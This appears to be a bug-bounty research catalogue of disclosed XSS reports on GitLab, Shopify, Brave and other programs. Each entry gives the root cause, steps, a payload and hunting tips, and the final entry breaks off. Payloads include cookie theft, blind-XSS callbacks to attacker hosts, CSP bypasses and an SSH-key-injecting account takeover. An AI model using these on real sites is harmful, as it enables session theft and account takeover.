Insight — Client-side diagram/markdown renderers that deep-merge user config (Mermaid init, chart options) are prototype-pollution -> XSS gadgets. Try '__proto__' keys setting rendering-relevant props like template/innerHTML.
Real-world example
Stored XSS via style name using noscript/title-attribute mutation
◆ High
Specimen #1054526 · automattic · awarded · 48 votes · resolved
Program automatticSurface webChain stored style name -> invite victim (manager/admin) -> Tag account-takeover
Root cause
The Custom Style name in the polling/feedback feature is stored and rendered unsanitized; a noscript+title-attribute mutation payload survives filtering and executes when the style is loaded, including for an invited manager/admin victim.
Method
- Create a Style and set its name to the mutation payload
- Save; the payload fires in the attacker context
- Invite the victim as manager/admin; when they load the style the payload executes in their session
<noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
Insight — noscript/title mutation payloads exploit parser context switches - the browser re-parses the attribute boundary and frees the img tag. Useful when a naive filter treats the string as an attribute value.
Real-world example
Blind stored XSS via staff/account name (out-of-band callback)
◆ High
Specimen #948929 · shopify · USD 3000 · 44 votes · resolved
Program shopifySurface webChain staff name field -> internal admin render -> blind XSSTag account-takeover
Root cause
The staff first/last name on the account settings page is stored and rendered unsanitized in an internal admin view; a $.getScript blind payload fires in staff/admin context, confirmed via an out-of-band XSS-hunter callback.
Method
- Set staff first/last name to a blind XSS payload that loads remote JS
- Wait for an internal user/admin to view the account/staff list
- Receive the callback (DOM, cookies) at your XSS-hunter host
"><script>$.getScript("//SUBDOMAIN.xss.ht")</script>
Insight — Account/staff/profile name fields are prime blind stored-XSS sinks that render in admin/back-office views you cannot see. Seed OOB payloads (xss.ht/interactsh) and use jQuery $.getScript when the target ships jQuery.
Real-world example
Reflected XSS in OAuth flow redirect_to -> href (admin escalation)
◆ High
Specimen #1216203 · mattermost · USD 900 · 44 votes · resolved
Program mattermostSurface webChain redirect_to param -> RenderMobileError href concat -> Tag oauthTag account-takeover
Root cause
completeOAuth passes the unsanitized redirect_to query param into RenderMobileError, which concatenates it into an <a href> in a string-built HTML page, yielding reflected XSS on the OAuth mobile_login endpoint (CVE-2021-37859).
Method
- Craft an OAuth mobile_login URL with redirect_to breaking out of the href attribute
- Victim clicks it; the error page renders the payload
- Escalate: as admin victim, script can create a new administrator
https://TARGET/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src=%22%22%20onerror=%22alert(document.domain)%22%3E
Insight — OAuth/SSO error and return pages that string-build HTML with redirect/return params are recurring reflected-XSS sinks. Trace redirect_to/redirect_uri/return_to through to the HTML sink and check the mobile/error branches specifically.
Real-world example
Android WebView HTML injection in reader-mode renderer via page title
◆ High
Specimen #176065 · brave · 150 · 43 votes · resolved
Program braveSurface mobile-android
Root cause
The battery-save/reader-mode article renderer concatenates the page <title> and author name straight into an HTML string (StringBuilder) with no encoding, then loads it in a WebView.
Method
- Host a page whose <title> (or author meta) contains breakout HTML
- Set title so a redirect/search reflects it, e.g. </title><h1><marquee><s>...
- Open the page in the Android browser and tap the reader/ArticleMode button
- Injected markup is rendered as HTML in the reader WebView
<script>location="https://www.google.com/search?q=</title><h1><marquee><s>Injection<!--"</script>
Insight — Reader-mode / 'simplified article' features re-render remote-controlled page metadata (title, author, byline) into a fresh HTML document. Treat those fields as XSS sinks in mobile browsers.
Real-world example
Stored XSS via org/company display-name field
◆ High
Specimen #187410 · slack · awarded · 43 votes · resolved
Program slackSurface web
Root cause
A team/company/display name is stored and later echoed into other pages (message room, marketplace listing, dialog topic) without output encoding.
Method
- Set the company/team/profile-name field to an HTML-context XSS payload
- Trigger the view where the name is rendered to other users
- Payload executes in the victim's session
"><IMG SRC=x onerror=javascript:alert(document.domain)>
Insight — Display-name / org-name / product-title fields are classic stored-XSS sinks because they are shown across many views to other users. Enumerate every place a name is rendered, not just the settings page where you set it.
Real-world example
CSS injection via bgcolor param leaks CSRF token, enabling XSS chain
◆ High
Specimen #386334 · chaturbate · awarded · 43 votes · resolved
Program chaturbateSurface webChain CSS injection -> CSRF-token exfiltration -> CSRF/XSS o
Root cause
An embed page reflected the bgcolor parameter into a <style> block unescaped; breaking out of the CSS value lets an attacker inject arbitrary CSS and use attribute-selector rules to exfiltrate the page's CSRF token character-by-character.
Method
- Inject into bgcolor to close the CSS value and start new rules: }*{background:red}
- Use CSS attribute selectors on the hidden CSRF-token input to leak it char-by-char via background-image requests
- Collect leaked token on attacker server, then reuse for state-changing endpoints (some return text/html enabling further XSS)
https://TARGET/embed/admin/?bgcolor=%7D*%7Bbackground:red&tour=...
Insight — Any parameter reflected into a <style> block is a CSS-injection primitive; with attribute selectors + background-image callbacks it becomes a CSRF-token/secret exfiltration oracle. Look for color/theme/bgcolor params in embed widgets.
Real-world example
DOMPurify/v-safe-html bypass via data-disable-with (rails-ujs) + CSP-safe form escalation
◆ High
Specimen #1579645 · gitlab · awarded · 43 votes · resolved
Program gitlabSurface webChain Sanitizer bypass XSS -> under CSP, form auto-request ->Tag account-takeover
Root cause
GitLab's v-safe-html directive (DOMPurify) stripped data-remote/url/type/method but not data-disable-with; rails-ujs later injects that attribute's value as live HTML when a disabled link is clicked, re-introducing XSS after sanitization.
Method
- Inject an <a> allowed by the sanitizer but carrying data-disable-with with an <img onerror> payload
- Make it a full-screen transparent topmost layer via allowed class/style attributes so any click hits it
- Deliver via a user-controlled sink (CI job name shown in job error messages)
- On click, rails-ujs writes data-disable-with content as HTML -> XSS
- Under strict-dynamic CSP, swap script for a <form> that fires an authenticated API request (e.g. PUT /api/v4/users/ID?admin=true)
<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">
Insight — Sanitizer allowlists that only block known dangerous attributes miss framework 'behavior' attributes (rails-ujs data-disable-with, data-confirm, HTMX hx-*) that are later expanded into live DOM. Audit what the front-end framework does with surviving data-* attrs. When inline JS is CSP-blocked, a full-page invisible <form> submitted by any click still achieves impact.
Real-world example
Mermaid htmlLabels string-'false' sanitizer bypass + CSP bypass via pipeline artifacts to RCE
◆ High
Specimen #1212822 · gitlab · awarded · 42 votes · resolved
Program gitlabSurface webChain Stored HTML injection in Markdown -> CSP bypass via same-Tag account-takeover
Root cause
Mermaid treats config.flowchart.htmlLabels==='false' (the string) as truthy when deciding to render a label as HTML but as false when deciding to sanitize it; a graph directive overriding htmlLabels to the string 'false' (a non-'secure' key) renders unsanitized HTML from Markdown.
Method
- In README.md add a mermaid block with directive %%{init:{"flowchart":{"htmlLabels":"false"}}}%%
- Put an <iframe srcdoc> node label loading a same-origin script
- Stage the script as a pipeline artifact (served from gitlab.com origin, satisfying CSP 'self')
- Render the Markdown -> script executes -> read CSRF token / act as user
```mermaid
%%{init: {"flowchart": {"htmlLabels": "false"}} }%%
flowchart
A["<iframe srcdoc='<script src=https://gitlab.com/api/v4/projects/USER%2Fproj/jobs/JOBID/artifacts/exploit.js></script>'></iframe>"]
```
Insight — Diagram/markdown renderers (Mermaid) with client-side security config are XSS-prone: look for string-vs-boolean type confusion in their option handling. For CSP bypass, host your JS as a same-origin file the platform will serve (CI artifacts, uploads) to satisfy script-src 'self'.
Real-world example
WooCommerce address state/county persistent XSS to admin backend to RCE
◆ High
Specimen #530499 · automattic · awarded · 40 votes · resolved
Program automatticSurface webChain Customer address stored XSS -> admin session -> wp-admTag account-takeover
Root cause
WooCommerce echoes a customer's state/county address field in the wp-admin user/order view without encoding; a customer-controlled value stored via checkout or account settings executes in the admin's session.
Method
- Register as a customer
- Set County/state (via checkout Billing Details or edit-address) to a payload without a trailing > (tags are filtered): '"><img src=x onerror=alert(1) x=y
- Admin opens users.php / user-edit.php for that customer -> XSS in admin origin
- Escalate to RCE by editing a plugin/theme file via the admin
'"><img src=x onerror=alert(1) x=y
Insight — Low-privilege customer-supplied profile/address fields that surface in the admin backend are stored-XSS to full compromise. Note the tag-filter bypass: omit the closing > so the following existing markup provides it.
Real-world example
Stored XSS via third-party linked-account name in a JS string
◆ High
Specimen #282604 · rockstargames · USD 1250 · 35 votes · resolved
Program rockstargamesSurface webTag account-takeover
Root cause
A value imported from a linked external account (Steam display name) is emitted inside an inline <script> JavaScript string without escaping, so a </script> in the name breaks out of the script context.
Method
- Identify a field sourced from a linked/third-party account (Steam/Twitch/Google name) that is echoed on your profile
- Set that external name to contain </script> plus your payload
- Load the profile page where the name is rendered inside inline JS
</script><script>alert(document.domain)</script>
Insight — Data imported from federated/linked accounts is often trusted and rendered raw. When a value lands inside an inline JS string, </script> is the universal breakout regardless of quote/encoding of the string itself.
Real-world example
Stored XSS in CI job dependency error message + iframe srcdoc CSP bypass
◆ High
Specimen #950190 · gitlab · awarded · 35 votes · resolved
Program gitlabSurface web
Root cause
A CI job name used in a dependency error (failure_message) is marked html_safe and rendered without sanitization, so a crafted job name stored in .gitlab-ci.yml becomes stored XSS when the failed job is viewed.
Method
- Create .gitlab-ci.yml where a job name contains an HTML payload and another job lists it under dependencies
- Let the pipeline fail on the dependency
- View the failing job detail where the unsanitized failure_message renders
test<iframe srcdoc='<script src=https://ATTACKER/alert.js></script>'></iframe>:
stage: build
script: ["date > index.html"]
artifacts: {paths: [index.html], expire_in: 1 second}
job-test:
stage: test
script: echo hi
dependencies: ["test<iframe srcdoc='<script src=https://ATTACKER/alert.js></script>'></iframe>"]
Insight — Error/status message builders that concatenate user data and mark it html_safe/trusted are a rich stored-XSS source. iframe srcdoc runs its own document, letting a script-src CSP be bypassed when framing/inline in srcdoc is not restricted.
Real-world example
POST-based reflected XSS delivered via auto-submitting cross-site form
◆ High
Specimen #1451394 · mtn_group · none · 35 votes · resolved
Program mtn_groupSurface web
Root cause
A POST body parameter (a hidden CFID/state field) is reflected unencoded into the response; because it is POST-only it is reached by hosting a cross-site auto-submitting form (same mechanism as CSRF) rather than a URL.
Method
- Identify a POST parameter reflected in the response (often hidden framework fields like CFID/CFTOKEN)
- Build an HTML form targeting the endpoint with all required hidden fields and the payload in the vulnerable one
- Auto-submit with JS so victim visiting your page triggers the reflected XSS
<form action="https://TARGET/index.cfm?GO=..." method="POST">
<input type=hidden name=CFID value="x'"<!--><Svg OnLoad=(confirm)(1)-->">
<input type=hidden name=CFTOKEN value=0>
</form><script>document.forms[0].submit()</script>
Insight — POST-reflected XSS is exploitable: wrap it in a self-submitting form. Fuzz hidden framework parameters (ColdFusion CFID/CFTOKEN, __VIEWSTATE-style fields), not just visible inputs. Svg OnLoad and comment-context breakouts (<!--><tag>) help when other tags are filtered.
Real-world example
Stored XSS via git branch name in title attribute + iframe srcdoc CSP bypass
◆ High
Specimen #977697 · gitlab · awarded · 33 votes · resolved
Program gitlabSurface web
Root cause
The merge-request sidebar renders source_branch into a <cite title='...'> attribute without sanitization (html_safe), so a branch name containing a quote + markup breaks out and, via iframe srcdoc, runs script despite CSP with no victim interaction.
Method
- Create a branch whose name contains a quote to break out of the title attribute plus an iframe srcdoc payload
- Open a merge request from that branch
- Viewing the MR renders the branch name unsafely and the iframe srcdoc script runs
git push origin master:"'><iframe/srcdoc='<script/src=/USER/data/-/jobs/JOB/artifacts/raw/alert.js></script>'></iframe>"
Insight — Git ref names (branch/tag) are user input and flow into many UI attributes; test them as XSS vectors. Rendering user data into an attribute with html_safe is the bug. iframe srcdoc again bypasses script-src CSP.
Real-world example
Stored/reflected XSS via uploaded file name
◆ High
Specimen #1264832 · mtn_group · none · 33 votes · resolved
Program mtn_groupSurface webTag file-upload
Root cause
An uploaded file's original filename is echoed into the page without HTML-encoding, so markup embedded in the filename executes when the upload/confirmation view renders it.
Method
- Find a flow that displays the uploaded file's name (upload preview, form review, attachment list)
- Upload a file whose name contains an img/onerror payload before the extension
- Trigger the view that reflects the filename
"><img src=x onerror=alert(document.cookie)>.jpg
Insight — Filenames are user input. Test file-name injection wherever the app shows the name back (previews, admin attachment lists, blind-XSS to staff). It bypasses value filters focused on form text fields.
Real-world example
Android WebView UXSS (CVE-2020-6506) via single-window config
◆ High
Specimen #906433 · x · 560 · 32 votes · resolved
Program xSurface mobile-androidChain Malicious iframe -> UXSS in top document -> exfiltrate
Root cause
An Android WebView with setSupportMultipleWindows() at default/false lets a cross-origin iframe call window.open('javascript:...') and execute JS in the top-level document, breaking SOP (CVE-2020-6506). Any app rendering untrusted web content in such a WebView is exploitable with one tap/keypress.
Method
- App renders attacker/advertiser URL in WebView with multi-window support disabled
- Malicious (even hidden) iframe steals a click/keypress
- iframe calls window.open() with a javascript: URL -> JS runs in top document
<!-- inside cross-origin iframe -->
window.open("javascript:alert(document.domain)")
// or a link target=_blank href="javascript:..." activated by user gesture
Insight — When auditing mobile apps, check every WebView's WebSettings: setSupportMultipleWindows(false)/default + rendering third-party content = UXSS on pre-83.0.4103.106 WebView. Mitigation is enabling multi-window + handling onCreateWindow, or strict origin allowlisting.
Real-world example
GitLab stored XSS via approval-rule name + CSP bypass
◆ High
Specimen #1342009 · gitlab · awarded · 32 votes · resolved
Program gitlabSurface webChain Stored XSS -> CSP bypass -> access-token generation/exTag account-takeover
Root cause
UsersSelect.renderApprovalRules built HTML with rule.name unsanitized; the name renders in the Reviewers dropdown on the MR-create page. A premium attacker sets a payload as an approval-rule name, invites a victim to the project, and the payload fires when the victim opens Reviewers.
Method
- As a premium user, create a project and add an Approval Rule whose name is the payload
- Attach the rule to an approver
- Invite the victim (any tier) as Developer
- Victim starts an MR and opens the Reviewers dropdown -> payload executes
<iframe/srcdoc='<script/src=/joaxcar_group/first/-/jobs/1415515489/artifacts/raw/data/alert.js></script>'></iframe>
<!-- non-CSP env: <script>alert(document.domain)</script> -->
Insight — Escape the app's CSP by loading your JS from a same-origin file you control (CI job artifacts, raw repo files) inside an iframe srcdoc. Premium-gated features can still be abused against free users invited into the project.
Real-world example
Shopify twine data-binding template injection (eval primitive)
◆ High
Specimen #217790 · shopify · 1000 · 31 votes · resolved
Program shopifySurface webChain Malicious embedded app -> postMessage -> template/twin
Root cause
Shopify.API.Modal.input renders a lodash _.template that puts the value into a data-define="{typedInput:'[value]'}" attribute. lodash escaping isn't JSON/context aware, so a single quote breaks out; the twine data-binding library then compiles the attribute via new Function() (a with-wrapped eval), turning the injection into arbitrary JS in the admin origin.
Method
- Ship a malicious embedded app the merchant authorizes (any scope)
- postMessage Shopify.API.Modal.input with value = '-alert(document.domain)-'
- twine compiles the data-define attribute via Function() -> JS runs in /admin
window.parent.postMessage(JSON.stringify({message:"Shopify.API.Modal.input",data:{message:{message:"",value:"'-alert(document.domain)-'"}}}), "*")
Insight — Client-side data-binding frameworks (twine, and classically AngularJS) that compile attribute expressions with new Function()/eval are code-execution sinks. Attribute-context template injection that merely 'breaks JSON' can escalate to full JS if a binding engine later evaluates the attribute.
Real-world example
XSS via window.open javascript: URL sharing document.domain
◆ High
Specimen #217745 · shopify · 800 · 29 votes · resolved
Program shopifySurface webChain Malicious embedded app -> button href javascript: -> w
Root cause
Shopify Embedded App SDK 'button objects' allowed an unsanitized href that flows to Page.open -> window.open(). window.open('javascript:...') opens an about:blank window that shares document.domain with the opener, so window.opener.eval() runs JS in the admin origin when the button is clicked.
Method
- Malicious embedded app defines a button with href = javascript: payload via postMessage
- Merchant loads the app and clicks the button
- window.open runs the javascript: URL which calls window.opener.eval -> XSS in /admin
window.parent.postMessage(JSON.stringify({message:"Shopify.API.Bar.initialize",data:{buttons:{primary:{label:"Click here for XSS",href:"javascript:setTimeout('window.close()',1);window.opener.eval('alert(document.domain)');"}}}}), "*")
Insight — window.open() is NOT safe with untrusted URLs: a javascript: URL yields an about:blank window that inherits the opener's document.domain, so window.opener.eval() executes in the opener origin. Treat any sink that passes user URLs to window.open/location as an XSS sink and test javascript: schemes.
Real-world example
DOM XSS in Discourse search via email-format query
◆ High
Specimen #191890 · discourse · awarded · 29 votes · resolved
Program discourseSurface web
Root cause
Discourse search reflected the query into the DOM unsanitized; wrapping a script in an email-like token (@<payload>gmail.com) got the payload past parsing/highlighting and executed when advanced search rendered it.
Method
- Open search, enter the email-wrapped payload
- Click advanced search
- XSS fires; the resulting URL is shareable/link-triggerable
@<script>prompt(1337)</script>gmail.com
Insight — Search boxes that echo the query into the DOM (result highlighting, 'advanced search') are prime DOM-XSS sinks. Try wrapping payloads in tokens the app treats specially (email/username/mention formats) to slip past query parsing.
Real-world example
Blind stored XSS on internal host detected via OOB beacon
◆ High
Specimen #923912 · deptofdefense · none · 28 votes · resolved
Program deptofdefenseSurface webTag webhook
Root cause
A stored payload (likely in student/record data) renders on an internal, non-internet-facing admin page; the injected <script src> beaconed back with the internal URL in the Referer.
Method
- Seed blind-XSS beacon payloads into free-text/record fields
- Monitor your callback host; the Referer/URL of the pingback reveals the internal sink
<script src=//ATTACKER-BEACON></script>
Insight — Plant persistent beacons (xsshunter-style) in data staff review internally; a fired callback + its Referer maps otherwise-invisible internal admin panels unreachable from the internet.
Real-world example
Stored DOM XSS via Mermaid directive -> style innerHTML
◆ High
Specimen #1103258 · gitlab · USD 3000 · 27 votes · resolved
Program gitlabSurface web
Root cause
Mermaid merges the untrusted %%{init:{...}}%% directive JSON into config; fontFamily is concatenated into CSS and written via style.innerHTML, so </style><img onerror> breaks out and executes.
Method
- In any Markdown that renders Mermaid (issue/MR), add an init directive
- Set fontFamily to a </style>-breakout payload; save. Fires whenever anyone views the page
%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Insight — Diagram/markup renderers (Mermaid, KaTeX) that accept style/theme directives are stored-XSS surfaces when values reach innerHTML. Break out of <style> with </style> then inject img onerror. Fires everywhere GFM renders.
Real-world example
WAF-bypass attribute injection + app-gadget reuse for XSS
◆ High
Specimen #227486 · starbucks · awarded · 27 votes · resolved
Program starbucksSurface webChain attribute injection -> gadget reuse -> XSS -> credi
Root cause
Full URL reflected into a <link rel=canonical href> site-wide; a WAF blocks obvious payloads but %u0022 + spacing tricks allow arbitrary attribute injection. Injecting id=checkoutButton onclick=... hijacks the site's own jQuery handler ($('#checkout').click -> trigger #checkoutButton) to run JS.
Method
- Break out of the canonical href attribute with %u0022 (bypasses %22 WAF 404)
- Inject id=checkoutButton and an onclick handler
- On the payment page the existing #checkout (body) click fires the injected handler; redirect the CC iframe to a phishing clone
https://www.starbucks.co.uk/shop/paymentmethod?==%u0022a%20onclick=confirm(/-/g+this.ownerDocument.domain)%20id=%u0022checkoutButton
Insight — If you can only inject attributes (not tags), read the page's own JS for id/class-based event triggers and inject that id + an on*= handler to borrow the app's click as your trigger. %u0022 bypasses %22 filters; confirm(/x/ and this.ownerDocument.domain dodge alert()/document blacklists.
Real-world example
DOM XSS via location.replace of raw query string
◆ High
Specimen #1004833 · informatica · none · 27 votes · resolved
Program informaticaSurface webChain open redirect -> DOM XSS
Root cause
A static helper page does document.location.replace(location.search.substring(1)), navigating to whatever follows '?' -- both open redirect and javascript: XSS.
Method
- Find a page that redirects to its own query string / hash
- Pass a javascript: URI (or external URL for open redirect)
https://TARGET/pub/.../attach.html?javascript:alert(1)
Insight — Legacy attach/redirect/player HTML reading location.search and feeding location.replace/href is a classic DOM-XSS + open-redirect sink; test ?javascript:alert(1) and ?//evil.com. Grep JS for location.replace, .href =, window.open.
Real-world example
Universal XSS in Brave iOS WebView (token leak + nodeTag injection)
◆ High
Specimen #1436558 · brave · awarded · 27 votes · resolved
Program braveSurface mobile-iosChain token leak x2 -> native JS injection via nodeTag -> Un
Root cause
Injected UserScripts embed secret tokens into DOM-readable properties (setAttribute/postMessage), leaking securityToken and messageHandlerToken; PlaylistHelper.swift then string-concatenates a page-supplied nodeTag into JS executed on the WebView mainframe, allowing arbitrary JS on any origin.
Method
- From a malicious page, read the leaked securityToken (via HTMLVideoElement.setAttribute) and messageHandlerToken (via W{token}.postMessage)
- Send a message to PlaylistHelper with nodeTag = ');alert(document.location);//
- Native handler builds JS with the tag and runs it on the top frame -> UXSS on arbitrary domains
tagId / nodeTag = ');alert(document.location);// (breaks out of the concatenated JS built in PlaylistHelper.swift)
Insight — In mobile browsers, native<->JS bridges that (a) embed secret tokens into page-readable DOM and (b) build JS by string-concatenating page-supplied values are UXSS goldmines. Audit UserScript injection for token exposure and string-built JS with untrusted input.
Real-world example
DOM XSS through a browser extension injecting remote search results
◆ High
Specimen #220494 · algolia · awarded · 26 votes · resolved
Program algoliaSurface web
Root cause
The Awesome Autocomplete for GitHub extension rendered Algolia search-API results as HTML into the github.com DOM without sanitization, so attacker-controlled repository names became live HTML in a first-party origin.
Method
- Search a marker like '"><img src=x onerror= on GitHub.com with the extension installed
- Observe a broken <img> and request to 'x' proving HTML injection into github.com DOM
- Use a repository name that yields a full script/element to execute
'"><img src=x onerror=alert(1)>
a'"><h1>
Insight — Autocomplete widgets and browser extensions that innerHTML remote API results into a first-party page are a DOM-XSS surface; test them by seeding HTML markers into whatever the remote index returns (repo names, package names).
Real-world example
Stored XSS via tracker name -> admin session theft (CVE-2025-52668)
◆ High
Specimen #3400506 · revive_adserver · none · 26 votes · resolved
Program revive_adserverSurface webChain stored XSS -> admin cookie theft -> account takeover /Tag account-takeover
Root cause
Advertiser-controlled tracker names are echoed into the conversion-statistics admin report (stats-conversions.php:356) without htmlspecialchars(), so a low-privilege advertiser stores XSS that fires in an admin's browser.
Method
- As advertiser, create a tracker whose name is an img/onerror payload
- Generate conversion records linked to that tracker
- When an admin views stats-conversions.php the payload executes and exfiltrates the admin cookie
<img src=x onerror="alert('XSS: ' + document.cookie)">
Insight — Any low-privilege attribute (tracker/campaign name) rendered into a higher-privilege admin dashboard is a privilege-escalation XSS; grep server-side templates for interpolated user fields lacking htmlspecialchars/escape.
Real-world example
Blind stored XSS via demo/lead form firing in back-office CRM
◆ High
Specimen #324194 · upserve · 500 · 25 votes · resolved
Program upserveSurface webChain blind stored XSS -> execution in internal staff tooling
Root cause
Input submitted through a public 'get a demo' lead form is stored and later rendered unescaped in an internal third-party CRM/marketing tool used by staff, executing in their session (blind XSS).
Method
- Submit a blind-XSS canary (e.g. XSS Hunter payload) into every field of the public demo/contact form
- Wait for an employee to open the lead in the back-office CRM
- Receive the out-of-band callback with origin/DOM details
"><script src=//YOUR-XSS-HUNTER-CANARY></script>
Insight — Public lead-gen/demo/contact/support forms are prime blind-XSS injection points because their data is viewed in internal admin/CRM tools; seed OOB canaries and wait, even when the form's own app looks inert.
Real-world example
Reflected XSS + open redirect via Rails url_for RESERVED_OPTIONS (script_name/domain)
◆ High
Specimen #946728 · gitlab · 4000 · 24 votes · resolved
Program gitlabSurface webChain param pollution of url_for -> open redirect + reflected X
Root cause
SafeParamsHelper.safe_params only stripped :host/:port/:protocol before passing params to url_for, leaving other RESERVED_OPTIONS (domain, script_name, etc.); attacker query params thus control generated URLs - domain yields open redirect and script_name injects a javascript: href.
Method
- Hit a RoutableActions route with a case-changed path so canonical_path != requested_full_path, add ?domain=attacker.tld for open redirect
- Add ?script_name=javascript:alert(1)// so url_for prepends it, producing a javascript: href (e.g. RSS feed link)
- Or set ?script_name=/-/snippets/ID/raw%23 in the blob viewer to control viewer_url and inject arbitrary HTML (CSP bypass via data-remote link)
https://gitlab.com/vakzz-h1/Redirect1?domain=aw.rs
https://gitlab.com/vakzz-h1/redirect1/-/issues?script_name=javascript:alert(1)//
https://gitlab.com/vakzz-h1/redirect1/-/blob/master/test.txt?script_name=/-/snippets/1999965/raw%23
Insight — Whenever user params are forwarded to Rails url_for/link_to, an incomplete denylist lets attackers set RESERVED_OPTIONS (host, domain, script_name, port, protocol) to control the generated URL -> open redirect and javascript:-href XSS; filter the full RESERVED_OPTIONS set.
Real-world example
Stored XSS via HTML-sanitizer mutation bypass in Rich Text Editor
◆ High
Specimen #978125 · shopify · awarded · 23 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The rich-text sanitizer on Products/Collections fails to strip an img onerror payload when attributes are mangled/spaced (mce-fragment markup), leaving stored XSS that fires when the description renders.
Method
- Create/edit a product
- Put the payload in the description rich-text field
- Save; XSS executes when the product/collection description is viewed
<div align=" center " data-mce-fragment="1"><img src=x onerror=prompt(document.cookie)></div>
Insight — WYSIWYG/rich-text editors that round-trip HTML (TinyMCE mce-fragment attrs, spacing, casing) frequently defeat naive sanitizers via mutation. Fuzz spacing, duplicate/junk attributes, and editor-specific data-* attrs around img/svg onerror.
Real-world example
WordPress XSS via upload filename in 'file too large' JS error
◆ High
Specimen #203515 · wordpress · awarded · 23 votes · resolved
Program wordpressSurface webTag file-uploadTag account-takeover
Root cause
When an upload exceeds the size limit, plupload's client JS interpolates file.name into a localized error string via String.replace('%s', file.name) and appends it to the DOM with jQuery().append() without escaping, so a filename containing markup executes before the file type is ever validated.
Method
- Create a >max-upload-size file named with an <img onerror> payload and a .png extension
- Drag/drop or select it at wp-admin/media-new.php
- The 'exceeds the maximum upload size' error interpolates the filename into the DOM and the payload fires
Dinosaurs secret life<img src=x onerror=alert(1)>.png
Insight — Client-side error/toast messages that interpolate an attacker-controlled filename (or any %s placeholder) with String.replace and inject via innerHTML/append are XSS sinks that trigger BEFORE server validation (size/type). Oversized/invalid files are a great trigger because they short-circuit into the error path.
Real-world example
XSS via type confusion: spoofed React element with dangerouslySetInnerHTML
◆ High
Specimen #49652 · security · USD 5000 · 22 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Certain API fields expected to be strings actually accept arbitrary JSON types and are returned as-is. Setting such a field to an object that mimics a React element (_isReactElement, _store, type, props.dangerouslySetInnerHTML) causes React to render attacker HTML when the field is later passed as the children argument to React.createElement.
Method
- Identify fields that echo back non-string JSON types (e.g. reference on a triage action, data on a trigger criterion)
- Set the field to a fake React element object via a raw JSON request
- When another user renders the object, dangerouslySetInnerHTML injects arbitrary HTML/JS
{
"reference": {
"_isReactElement": true,
"_store": {},
"type": "body",
"props": { "dangerouslySetInnerHTML": { "__html": "<script>alert(document.domain)</script>" } }
}
}
Insight — When JSON fields are not type-checked server-side, you can smuggle objects where strings are expected. In React apps, a value used as a child can be a spoofed element with dangerouslySetInnerHTML -> XSS even under CSP-less rendering. Probe every string field by sending an object/array and see if the type round-trips.
Real-world example
Markdown autolink bypass via backslash-escaped characters
◆ High
Specimen #46072 · security · USD 5000 · 21 votes · resolved
Program securitySurface webChain HTML injection -> full-page CSS overlay link -> redireTag account-takeover
Root cause
The markdown renderer processes backslash escapes inside angle-bracket autolinks <http://...>, so a sequence like <http://\<img\ ...\>> is decoded and emitted as raw HTML, letting an attacker inject arbitrary elements (style, img, a, and script in non-CSP browsers) that survive the normal HTML-encoding path.
Method
- Wrap the payload in a markdown autolink <http://...> and backslash-escape the HTML metacharacters (\< \> \" \space)
- The renderer un-escapes and outputs the raw HTML
- Injected markup renders: style/img/link, or onerror script on IE-style no-CSP browsers
<http://\<img\ style=\"display:none\"\ src=0\ onerror=\"alert(\'Uh\ oh\')\"\>>
Insight — Markdown/rich-text autolink handling is a recurring sanitizer bypass: the escape/unescape stage runs after or around HTML encoding, so backslash-escaped metacharacters inside <http://...> reconstitute live markup. Also enables CSS injection and redirect/link-cover phishing even when script is CSP-blocked.
Real-world example
javascript: URI in URL config field -> window.opener CSRF-token theft -> ATO
◆ High
Specimen #684268 · gitlab · awarded · 21 votes · resolved
Program gitlabSurface webChain javascript: in URL field -> window.opener access to parenTag account-takeover
Root cause
An admin 'Grafana URL' setting accepts an absolute URL without protocol validation; it is rendered as an <a target=_blank> so a javascript: URL executes on click, and window.opener gives full access to the origin tab.
Method
- As admin set the Grafana dashboard URL to a javascript: payload
- Open the linked menu item (opens new tab via target=_blank)
- Payload uses window.opener to read csrf-token meta and POST an attacker SSH key
javascript:var csrf = window.opener.$('meta[name=csrf-token]').attr('content'); window.opener.$.post('/profile/keys', { 'authenticity_token': csrf, 'key[key]': 'ssh-rsa AAAA... attacker@foo.com', 'key[title]': 'attacker@foo.com' });
Insight — URL/link config fields must whitelist http(s). When a link opens with target=_blank and no rel=noopener, window.opener still reaches the parent origin -> steal the CSRF token and perform authenticated state-changing requests (add SSH key = account takeover).
Real-world example
Stored XSS via profile 'language' field rendered on public profile
◆ High
Specimen #430029 · infogram · none · 20 votes · resolved
Program infogramSurface web
Root cause
A profile-settings field (language) accepted via PUT /api/users/me is stored unsanitized and reflected into the public profile page, so a script/img payload executes for anyone viewing the profile.
Method
- Send PUT /api/users/me setting the language field to a payload
- Visit your public profile URL to trigger for viewers
language=></script><img src=x onerror=alert(document.domain)>;//
Insight — Non-obvious profile settings (language, timezone, locale, theme) are often written straight into public-facing pages. Fuzz every settings field, including ones the UI hides or presents as a dropdown, by sending raw API requests.
Real-world example
ESI injection + reflected XSS chained to account takeover
◆ High
Specimen #1073780 · deptofdefense · awarded · 20 votes · resolved
Program deptofdefenseSurface webChain ESI injection (HttpOnly cookie read) -> reflected XSS (JSTag account-takeover
Root cause
An Edge-Side Includes (ESI) injection in a reflected parameter lets an attacker read HttpOnly cookies server-side; a separate reflected XSS provides the JS execution to fetch and exfiltrate them.
Method
- Inject ESI directive into the 'ms' search param to reflect the request Cookie header into the response
- Find reflected XSS in the 'title' param (breaks out of </title> with <svg/onload>)
- Serve JS that fetch()es the ESI URL, parses the response, extracts the cookie value, and beacons it out
ESI: <esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>
XSS breakout: </title><svg/onload=alert(domain)>
Weaponized: </title><script/src='https://COLLAB/hta3.js'></script>
Insight — ESI-enabled reverse proxies (Akamai, Varnish, Squid, Oracle Portal) turn a reflected param into a server-side HttpOnly-cookie read; combine with any XSS to defeat HttpOnly and reach ATO.
Real-world example
Android WebView JS injection → JS-bridge takeover
◆ High
Specimen #1343300 · basecamp · awarded · 20 votes · resolved
Program basecampSurface mobile-androidChain deep link -> WebView JS injection -> native JS bridge
Root cause
A WebView with JavaScript enabled and native @JavascriptInterface bridges loads URLs (via deep link) without sanitization; breaking out of a JS string in the loaded URL injects arbitrary JS that can call the exposed native bridges.
Method
